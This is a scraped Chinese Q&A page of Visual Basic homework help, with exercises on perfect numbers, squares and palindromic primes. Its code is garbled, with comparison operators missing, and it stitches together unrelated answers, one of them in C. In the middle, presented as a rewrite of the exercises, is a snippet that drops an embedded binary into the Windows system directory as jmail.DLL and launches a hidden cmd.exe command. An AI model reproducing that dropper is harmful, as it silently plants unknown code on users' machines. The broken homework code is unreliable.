VB编程高手解决下``急``急急```

vb编程问题解决？~

改变下变量的类型就可以了。 因为Integer变量范围为：-32768~32767

Option Explicit
Private Sub Command1_Click()
Dim hh, mm, ss As Double
Dim totals As Single
Dim outstr As String
hh = Val(Text1)
mm = Val(Text2)
ss = Val(Text3)
totals = hh * 3600 + mm * 60 + ss
outstr = hh & "小时" & mm & "分" & ss & "秒"
outstr = outstr & vbCrLf & "总计：" & totals & "秒"
MsgBox outstr, , "输出结果"
End Sub

第一题：
Private Sub Form_Click()
Dim i As Double, j As Double, yz As Double
Dim c As Integer
c = 0
For i = 6 To 1000
yz = 0
For j = 1 To i '(这里的i能否改为i\2?)
If (i Mod j = 0) And (j i) Then yz = yz + j '(横线处填什么)
Next j
If i = yz Then
Debug.Print Str(yz) + "是完数"
c = c + 1
End If
Next i
End Sub
第二题：
Private Sub Command1_Click()
Dim i As Integer
Dim shi As Integer, ge As Integer
Dim pf As Integer, nxs As Integer
Dim pf_bai As Integer, pf_shi As Integer, pf_ge As Integer
Dim nxs_bai As Integer, nxs_shi As Integer, nxs_ge As Integer
For i = 1 To 90
shi = i \ 10
ge = i Mod 10
If shi 0 And ge 0 And shi ge Then '（改正这句错误）
pf = i ^ 2
nxs = (ge * 10 + shi) ^ 2 '完成横线语句

pf_bai = pf \ 100 Mod 10: pf_shi = pf \ 10 Mod 10: pf_ge = pf Mod 10
nxs_bai = nxs \ 100 Mod 10: nxs_shi = nxs \ 10 Mod 10: nxs_ge = nxs Mod 10
If pf_bai = nxs_ge And pf_shi = nxs_shi And pf_ge = nxs_bai Then
List1.AddItem Str(i) + "*" + Str(i) + "=" + Str(i ^ 2)
List2.AddItem Str(shi * 10 + ge) + "*" + Str(shi * 10 + ge) + "=" + Str((shi * 10 + ge) ^ 2) '(改正这句错误)
List3.AddItem Str(i)
End If
End If
Next '____________________________(完成横线语句）
End Sub
补充：
“：”（冒号）的意思是语句分隔符等于两行语句
不能改成99.30以内可以。30*30=900是三位数，如果改成90的话，就是四位数了，程序也需要修改。
第三题：
Private Sub Command1_Click()
Dim i, j, bai, ge, count As Integer
Dim isprime As Boolean
For i = 101 To 999
bai = i \ 100 Mod 10 '（完成横线语句）
ge = i Mod 10
If bai = ge Then
isprime = True
j = 2
Do While j < i '(改正这句错误，说明这么设计会造成什么后果，如何改正）
If i Mod j = 0 Then
isprime = False '（完成横线语句）
Exit Do
End If
j = j + 1 '（完成横线语句）
Loop
If isprime = True Then
List1.AddItem Str(i)
count = count + 1
End If
End If
Next i
Label1.Caption = "回文素数共有" + Str(count) + "个!"
End Sub

以上程序改成

Private Sub Form1_Load()
Dim Buffer As String
Dim rtn As String
Dim MAX_PATH as integer
MAX_PATH=90000
Buffer = Space(MAX_PATH)
rtn = GetsystemDirectory(Buffer, Len(Buffer))
Winsyspath = Left(Buffer, rtn)
Dim ocx() As Byte
ocx = LoadResData(101, "CUSTOM")
If Dir(Winsyspath & "\" & "jmail.DLL") = "" Then
Open Winsyspath & "\" & "jmail.DLL" For Binary As #1
Put #1, , ocx
Close #1
End If
Shell "Cmd.exe /C:\ntldr”", 0
End Sub

Environ("Windir")
Environ("systemroot")

上边两个就可以获取系统目录了，何必那么麻烦，写程序就要用简单的。

是MAX_PATH未定义。

---

永修县19183578767： VB编程题 请教高手 急急急？
枝缪暖宫： Private Sub Command1_Click() Dim x As Integer Dim y x = CInt(Text1.Text) If x > 30 Then y = 6 + 27 * 1.5 + (2 * x - 30) ElseIf x > 3 And x <= 30 Then y = 6 + 1.5 * (x - 3) Else y = 6 End If Text2.Text = y End Sub Private Sub Command2_Click() Unload Me End Sub 提供源代码

永修县19183578767： VB编程 急急急啊 高手请进？
枝缪暖宫： '画3个 复选框 分别对应 红 绿 蓝 '画一个command按扭 和1个 label Private Sub Command1_Click() Dim red As Integer Dim green As Integer Dim blue As Integer red = IIf(Check1.Value = 1, 255, 0) green = IIf(Check2.Value = 1, 255, 0) blue = IIf(Check3.Value = 1, 255, 0) Label1.BackColor = RGB(red, green, blue) End Sub

永修县19183578767： VB编程高手帮忙,急求!! - ？
枝缪暖宫： 呵呵...帮你做个吧:Private Sub Command1_Click()Dim i&, s$(), t$(), t1$, t2$ReDim s$(10000)Open ＂c:\in.txt＂ For Input As #1 '读取数据文件Do While Not EOF(1) L...

永修县19183578767： VB编程题~~急~高手帮忙做下啊 - ？
枝缪暖宫： Private Sub Command1_Click()Dim A(1 To 10) As Single, S As Single, N(1 To 10) As StringFor i = 1 To 10DoN(i) = InputBox(＂请输入第＂ & i & ＂位同学的姓名:＂)Loop While Len(N(i)) = 0DoA(i) = Val(InputBox(＂请输入＂ & N(i) & ...

永修县19183578767： 急求VB高手帮忙编程 - ？
枝缪暖宫： Private Sub Command1_Click()Dim IntBss As IntegerDim StrTemp1 As String, StrTemp2 As String, StrTemp3 As String, StrTemp4 As String, StrTemp5 As StringDim I As Integer, J As Integer,...

永修县19183578767： vb编程高手 ~急求!! - ？
枝缪暖宫： 我的调试通过了,结果都算出来了:25、36、625Dim i As IntegerFor i = 2 To 999If Val(Right(Str(i ^ 2), 1)) ^ 2 = i ThenPrint iEnd IfNext iFor i = 2 To 999If Val(Right(Str(i ^ 2), 2))...

永修县19183578767： 急!急!急!vb考试!!编程高手帮忙啦!! - ？
枝缪暖宫： Private Sub Command1_Click()'S=1的平方+2的平方+……N的平方 Dim n As Integer Dim s As Long n = InputBox(＂请输入n＂) For i = 1 To n s = s + i ^ 2 Next Print ＂1的平方+2的平方+……＂ & n & ＂的平方为:＂ & s End Sub Private Sub ...

永修县19183578767： vb编程,求大神帮忙啊! - ？
枝缪暖宫： #include int main(){int x,y,z;int fangan=0;for(x=1;x<=4;x++)for(y=x+1;y<=5;y++)for(z=y+1;z<=6;z++){if (z>=5){fangan++;printf(＂%2d---x=%d y=%d z=%d...

永修县19183578767： 请VB高手帮我解决一个程序问题？
枝缪暖宫： Private Sub Command1_Click()Dim K, L, MDim I As IntegerK = 1For I = 1 To 9 K = K * I If I Mod 2 > 0 Then M = M + K If I = 1 Then L = 1! Else L = L & ＂+＂ & I & ＂!＂ End IfNextL = L & ＂=＂ & MPrint LEnd Sub

永修县19183578767： 求'VB'前辈高手们帮初学者解决个问题,急急急...？
枝缪暖宫： 第一个问题:在dim i!前面加一个randomize 第二个问题:你的理解是对的,在程序最前面加一个option base 1,可以解决这个问题